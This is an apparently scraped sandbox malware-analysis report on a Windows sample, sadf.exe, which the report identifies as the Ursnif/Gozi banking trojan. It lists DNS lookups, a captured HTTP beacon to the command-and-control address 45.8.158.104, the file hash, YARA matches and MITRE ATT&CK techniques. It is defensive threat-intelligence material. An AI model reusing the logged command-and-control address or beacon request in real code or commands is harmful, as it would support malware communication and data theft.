Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 6, 2022 12:28:42.239211082 CEST	192.168.2.3	8.8.8.8	0x9aad	Standard query (0)	trackingg-protectioon.cdn1.mozilla.net	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 6, 2022 12:28:42.260540962 CEST	8.8.8.8	192.168.2.3	0x9aad	Name error (3)	trackingg-protectioon.cdn1.mozilla.net	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

45.8.158.104

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49704	45.8.158.104	80	C:\Users\user\Desktop\sadf.exe

Timestamp	kBytes transferred	Direction	Data
Oct 6, 2022 12:30:02.562974930 CEST	118	OUT	GET /uploaded/OefU6cYu_/2Bh5eSBuW1HoOJMcO7vA/d7SIWeoRQwnGkilzDpQ/6dU8XqIZtXmxeiGmmCE64H/f1Nt6sF7IrG2P/R1VRcVzY/_2BT38Jx_2Fbr7v8to_2FLq/VG0YsHE8mG/n_2F2PKN3TdKATV_2/FTdVW4ur9Omp/jrWMtuTkF90/3KGyudEpayTHCC/YXqBDl4ORyiaSJOw9sN_2/Fdabc1TmxPXNvinn/JCaxgYaDxedKHZk/u146Q0qWggdX24am_2/BCgVA4PEZ/TXr3WTRz0EG0cXZKBsrD/1oC2dl2fycp/FBzL9h.pct HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0) Host: 45.8.158.104 Connection: Keep-Alive Cache-Control: no-cache

Target ID:	0
Start time:	12:28:36
Start date:	06/10/2022
Path:	C:\Users\user\Desktop\sadf.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\sadf.exe
Imagebase:	0x400000
File size:	37888 bytes
MD5 hash:	76EBBA129360AD5093F0FE66910EB06D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000000.00000003.384425288.0000000001308000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000000.00000003.384425288.0000000001308000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000000.00000003.384568130.0000000001308000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000000.00000003.384568130.0000000001308000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000000.00000003.384610353.0000000001308000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000000.00000003.384610353.0000000001308000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000000.00000002.511485713.0000000001308000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000000.00000002.511485713.0000000001308000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000000.00000003.384466253.0000000001308000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000000.00000003.384466253.0000000001308000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000000.00000003.384373909.0000000001308000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000000.00000003.384373909.0000000001308000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000000.00000002.511376097.0000000000E19000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000000.00000003.384538617.0000000001308000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000000.00000003.384538617.0000000001308000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000000.00000003.384591559.0000000001308000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000000.00000003.384591559.0000000001308000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000000.00000003.384627029.0000000001308000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000000.00000003.384627029.0000000001308000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low

Disassembly

⊘No disassembly

Source: 0.0.sadf.exe.400000.0.unpack	Avira: Label: TR/Crypt.XPACK.Gen7
Source: 0.2.sadf.exe.400000.0.unpack	Avira: Label: TR/Crypt.XPACK.Gen7

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.
Tactics:	Impact
Data Sources:	File monitoring, Kernel drivers, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report sadf.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Ursnif

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

Windows Analysis Report
sadf.exe